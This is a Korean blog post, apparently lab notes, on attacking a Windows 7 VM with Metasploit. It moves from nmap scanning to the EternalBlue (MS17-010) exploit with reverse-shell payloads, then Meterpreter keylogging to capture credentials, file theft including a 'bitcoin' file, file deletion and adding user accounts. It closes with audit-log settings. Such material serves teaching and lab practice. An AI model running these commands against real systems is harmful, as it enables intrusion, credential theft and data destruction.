ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • attack using Metasploitable2 - 메타스플로잇을 이용한 공격
    Security 2022. 5. 4. 19:03

    metasploit

    NOTE

    약점(Weakness) : 보편적인 측면, 자산에는 약점이 있음 ex) CWE-nnnnn

    취약점(Vulnerability) : 약점 중에서 특히 치명적인 손해/피해를 입을 수 있는 것

    Exploit : 취약점을 공격하는 것

     

    Zero-Day Exploit

    : 취약점이 발표된 당일부터 공격이 시작된다는 의미, 아직 패치가 배포되기 전까지

    One-Day Exploit

    : 패치는 배포되었지만 아직 패치를 설치하기 전 상태 (기존 Application이 동작하지 않을 수도 있기 때문 : 호환성)

    ex) CVE-YYYY-NNNNnnn

     

    cf. 가장 비싼 취약점 : 아이폰 > 기업용 > Windows > Android > ....

     

    Nmap Script의 위치

    $cd /usr/share/nmap/scripts
    $ sudo find . -name "*distcc*"

    =구글에 distcc CVE 검색

    =$ sudo find . -name "*2004-2687*"
    ./distcc-cve2004-2687.nse

     

    서비스 이름 뒤에 붙는 D(Demon)의 정체

    : 메모리에 상주하면서 클라이언트의 요청을 처리하는 프로세스

    ex) httpd, telnetd, ftpd, sshd , ...

    작업관리자의 프로세스들도 비슷합니다.

     

    Metasploit에서 공격 모듈 검색하는 두 가지 방법

    - search vsftp 2.3.4

    - vsftpd v2.3.4 구글에 취약점 검색 cve

    search CVE-2011-2523 // 취약점 번호를 사용하면 매우 정확하게 알 수 있습니다.

     

    Metasploit을 처음 실행할 때

    : 왼쪽 상단 피닉스 아이콘 > 08 Exploitation Tools > Metasploit Framework 클릭

    - DB 생성, 사용자 생성 등 초기화 작업이 필요하기 때문.

     

    Metasploit 두 번째 실행부터는 한 줄로 실행이 가능합니다.

    $ sudo msfconsole

     

    * 취약점 제보 사이트 *

    https://www.exploit-db.com/ 

     

    Offensive Security’s Exploit Database Archive

     

    www.exploit-db.com

    - 취약점을 발견한 보안 전문가들이 이 사이트에 제보

    - 'Offensive Security'에서 관리 -> Kali Linux도 배포하는 회사

    - 정확한 취약점 코드를 아는 것이 중요. ex) CVE-202

     

    * Microsoft printNightmare, CVE-2021-34527 *

    : 윈도우 프린트 스풀러(Window Print Spooler) 서비스에 위치하며, 인쇄 대기열에 영향을 미치는 중요한 익스플로잇이며 Windows 7에서 발견 이 취약점을 통해 공격자는 장치에서 원격 코드를 실행하고 장치를 제어할 수 있습니다.

    - 취약점은 CVE-2021-1675 아니고 Zero-Day -> 취약점 공식 번호도 받고, 패치도 배포했지만, 아직 Exploit 가능한 상태이기에 Zero-Day라고 합니다.

     

    취약점 검증 단계

    1. 기본 스캔 : Version scan, All scan

    2. Script를 활용한 상세 스캔

    sudo find . -name "*서비스*"

    (* : Asterisk, ~ : Tilde, . : Dot : 현재 위치)

    sudo nmap --script=[스크립트 이름] [타겟호스트] -p [타겟포트]

    3. Google Search : 공식 취약점 번호, 특징, 취약점 정보 등 파악 후 검색

    4. Metasploit을 활용한 검증

     

    미리 준비해둔 'Windows 7 x64.vmx' 파일을 아래의 순서에 따라 열어줍니다.

    우측 상단의 File -> Open
    'Windows 7 x64.vmx' 선택 -> 열기

    Windows 7의 IP 확인을 해줍니다.

    왼쪽 하단 윈도우 버튼 -> 실행 'cmd' -> ipconfig

    Kali Linux에서 IP Scan 방법

    $ sudo nmap -sn 192.168.5.100-150

    - 운영체제(OS)를 알려면

    $ sudo nmap -O 192.168.5.130

    Running : Microsoft Windows 2008 | 8.1 | 7 | Phone | Vista를 확인하면 운영체제를 확인할 수 있습니다.

     

    1단계 기본 스캔

    Kali Linux에서 All Scan

    $ sudo nmap -A 192.168.5.130

    - SMB 취약점에 대해 많은 정보를 알려주고 있음을 알 수 있습니다.

     

    2단계 Script를 활용한 상세 스캔

    $ cd /usr/share/nmap/scripts
    $ sudo find . -name "*smb*"

    2번째 코드를 실행한 수많은 결과

    Windows 7 출시일인 2009년 10월 22일 이후에 나온 취약점을 조회합니다.

    그중에 임의로 smb-vuln-ms17-010.nse 선택해서 Scanning 하겠습니다.

    $ sudo nmap --script=smb-vuln-ms17-010.nse 192.168.5.130

    VULNERABLE에서 취약점 CVE-2017-0143을 확인 가능

     

    3단계 Google Search

    Google에 Search
    Microsoft 공식 홈페이지의 글을 확인하실 수 있습니다.
    KB4013389 : Update Patch Number

    Windows 7에서 cmd > systeminfo 입력해보면 핫픽스가 있다.

     

    * 핫픽스 (Hotfix)

    : 제품 사용 중에 발생하는 버그의 수정이나 취약점 보완, 또는 성능 향상을 위해 긴급히 배포되는 패치 프로그램을 말합니다.

    * KB (Knowledge Base의 약어)

    보시면 위의 KB2534111, KB976902가 설치되어 있고, KB4013389 패치는 되어있지 않으므로 공격이 가능합니다.

     

    4단계 Metasploit로 Exploit

    $ sudo msfconsole

    msfconsole 실행

    search cve-2017-0143 #Auxiliary는 보조 도구

    use exploit/windows/smb/ms17_010_eternalblue

    Available targets : 공격 가능한 타겟
    Basic options의 비어있는 부분은 세팅해주어야 합니다.
    rhost 설정, 하지만 Windows7이 리부팅되면 ip가 바뀔 수 있으므로 확인해 주는 것이 좋습니다.

    show payloads

    Payload 목록 - 1
    Payload 목록 - 2
    Payload 목록 - 3

    payload windows/x64/vncinject/reverse_tcp
    set lhost 192.168.5.128
    set viewonly false
    exploit

     

    payload - windows/x64/vncinject/reverse_tcp

    payload 이름에 reverse가 있으면 lhost를 지정 (Target이 Attacker에게 접속하도록 유도)

    viewonly false : 보기만 하지 않고 원격 조종할 예정

     

    VNC

    Kali Linux에 Windows7의 화면이 원격으로 보여지고 있습니다.
    보여지기 뿐만 아니라 제어도 가능합니다.

    이렇게 Kali Linux에 Windows 7의 화면이 원격으로 조종되기 시작합니다.

    잘 안 되는 경우에는 Windows 7을 리부팅하면 됩니다.

     

    vnc창을 닫고 엔터를 치면 msf6> console로 돌아옵니다.

    msf6> show payloads
    msf6> set payload windows/x64/meterpreter/reverse_tcp
    msf6> exploit

     

    * FAIL이 표시되면 Windows 7을 재부팅하시면 됩니다. *

     

    ?

    ?를 입력하면 사용할 수 있는 Command들을 둘러보실 수 있습니다.

     

    screenshot

    screenshot을 입력하면 Screenshot이 저장되는 경로가 나타납니다.
    경로를 따라가면
    jpeg 파일로 저장되어 열어볼 수 있습니다.

     

    Keylogging

    : 사용자가 키보드를 통해 입력한 내용을 몰래 가로채는 기술

    - Keylogger 작동시켜서 비밀번호 알아내기

     

    ps

    프로세스의 리스트를 확인할 수 있습니다.

    1832 explorer.exe로 실습을 할 예정이기 때문에 맨 앞의 숫자 네 자리를 기억합니다.

    맨 앞의 1832는 PID 번호라고 불리며 프로세스를 일시적으로 식별할 수 있습니다.

     

    migrate 1832
    keyscan_start

    migrate는 거주지를 옮긴다는 뜻을 가지고 있습니다. 성공적으로 진행되었으며 두 번째 코드도 입력해줍니다.

     

    입력 후 Windows 7의 Naver 로그인 창에 아이디 비밀번호를 임의로 입력해봅니다.

    keyscan_dump

    keyscan_dump를 입력하고

    Kali Linux를 보시면 아래의 문구와 함께 키보드로 입력했던 ID (hi)와 Password (hello)가 그대로 입력되어 있습니다.

    keyscan_stop

    Keylogging 종료

     

    악성코드를 Windows 7 바탕화면으로 보내기

    upload /usr/share/windows-binaries/klogger.exe C:/users/john/desktop

    klogger.exe 파일의 upload가 진행되고 있습니다.
    Windows7의 바탕화면으로 가면 klogger.exe가 생성되었음을 알 수 있습니다.

     

    Windows 7에서 파일 가져오기

    download C:/users/john/pictures/3* /home/kali
    download C:/users/john/pictures/blackpink* /home/kali

    Windows7의 C:/users/john/pictures에 있던 사진들을 가져와보았습니다.

    첫 번째 코드는 3*, 즉 3으로 시작하는 파일명을 보시면 앞이 3으로 시작한다는 공통점을 갖고 있습니다.

     

    Meterpreter의 특징

    - Screenshot

    - Keylogging

    - File send / receive

    - Remote code excution (RCE, 원격에서 명령 실행 가능)

    외에도 다양한 기능 지원

     

    내 문서에 있는 bitcoin 파일 가져오기

    Windows7에 있는 파일 확인

    Kali Linux에서 Windows 7의 파일을 찾으려면

    cd C:/users/john
    ls
    cd documents
    download b* /home/kali
    download C:/users/john/documents/bitcoin* /home/kali

    위의 사진을 가져온 방식대로 경로를 설정하여 b*, 즉 b로 시작하는 파일을 가져왔음을 알 수 있습니다.

     

     

    shell

    Kali의 meterpreter > 에서 Windows7의 C:\Windows\system32>으로 변경되었습니다.

    whoami

    : 현재 내가 로그인한 사용자를 보여줍니다.

    whoami 입력 시 Windows 7의 사용자 john으로 변경된 것 확인

    현재 Windows7의 C:\users\John\Pictures의 파일 목록입니다.
    Shell로 Windows7에 John인척 사진의 경로로 진입해서 3으로 시작하는 파일을 지워버리고 내가 누군지 확인하는 모습..

    shell
    cd c:\users\john\pictures
    dir
    del 3*
    dir
    whoami

    Windows7에서도 모든 사진이 아니라 파일명이 3으로 시작하는 사진만 지워졌음을 알 수 있습니다.

     

    사용자 추가해보기

    net user jenny lisa /add

    net user ID PW /add 순으로 입력해 넣어보았습니다.

    net user #모든 사용자 확인
    net localgroup #모든 그룹 확인

    하지만 추가되지 않은 것을 보실 수 있습니다.

    * 한글이 깨져 보이는 이유는 Microsoft Windows는 자사에서 개발한 EUC-KR의 확장형인 CP949 한글 인코딩을 사용하는데 Linux의 Wdb Database에서는 UTF-8을 사용하고 있어서 이런 현상이 나타납니다.

    net localgroup administrators

    여기에도 추가되지 않은 것을 알 수 있습니다.

    그래서 다시 한번 Payload를 설정 후에 Exploit 해보았습니다.

    다시 whoami를 입력하니 john-pc\john에서 nt authority\system으로 상위의 권한으로 변경된 것을 확인할 수 있습니다.

     

    * Windows의 계정과 권한 체계 *

    - System - 시스템에서 최고 권한을 가진 계정, 원격 접속 불가, 사용자는 이 계정으로 로그인 불가

    - Administrator - 관리자 권한의 계정, 사용자가 사용 가능한 계정 중 가장 강력한 권한

    - Account Operator, Backup Operator, Print Operator 등

    - Guest - 매우 제한적인 권한을 가진 계정, 기본 설정은 사용 불가

     

    net user kmk shs /add

    위에서 실패했던 사용자 생성을 다시 한 번 해보았습니다.

    net user

    위와는 다르게 정상적으로 id kmk pw hsh로 생성이 되었음을 알 수 있습니다.
    검색 -> 컴퓨터 관리 -> 로컬 사용자 및 그룹 -> 사용자

    다시 Windows 7로 와서 위의 경로를 따라가면 Kali에서 추가한 kmk 계정이 생성되었음을 다시 한번 확인할 수 있습니다.

     

    혹시 몰라 두 번 시도해봤는데 위의 방법은 안되고, 아래의 방법은 됩니다.

    모든 설정이 같은 상태로 두 번 시도해보고 나니 지금은 페이로드를 설정하는 시기의 문제로 생각하고 있습니다.

    혹시 나중에 이 글을 관심 있게 보시거나 문제점을 아시는 분의 피드백이 있으시다면 감사히 받겠습니다.

     

    Windows Log

    실행 -> 이벤트 뷰어

    Windows 이벤트 뷰어에서 로그를 확인하실 수 있습니다.

    실행 -> 로컬 보안 정책 -> 로컬 정책 -> 감사 정책

    위의 경로로 그대로 들어오면 '정책'들과 '보안 설정'이 보입니다.

    '보안 설정'에는 '감사 안 함'과 '성공, 실패' 두 가지 항목이 보입니다.

    - 감사 안 함 : 로그를 남기지 않도록 설정이 되어 있는 것입니다.

    계정 로그온 이벤트 감사 -> 우클릭 -> 속성

    위와 같이 따라 하면 성공과 실패에 체크박스가 생기는데

    '성공'에만 체크를 하면 성공적인 로그온만 로그를 남기게 되며, 실패 시 로그를 남기지 않습니다.

    - Dictionary, Brute Force 등의 공격을 알 수 없게 됩니다.

    *Dictionart Attack : 자주 쓰이는 문자열을 대입해서 암호를 찾아내는 방식

    *Brute Force : 조합 가능한 문자열을 하나씩 대입해보는 방식

    '실패'에만 체크를 하면 공격자가 로그온에 성공한 시점을 알 수 없습니다.

    모든 감사 정책에 성공, 실패를 모두 체크하게 되면 로그가 매우 많이 생성되며 성능 저하를 야기합니다.

     

    이로써 로그를 확인하기 위해서는 기본적으로는 감사에 체크가 되어있지 않아 로그가 생기지 않으니

    감사 정책에 필요한 항목에 체크를 해서 로그를 확인하시면 되겠습니다.

    댓글

Designed by Tistory.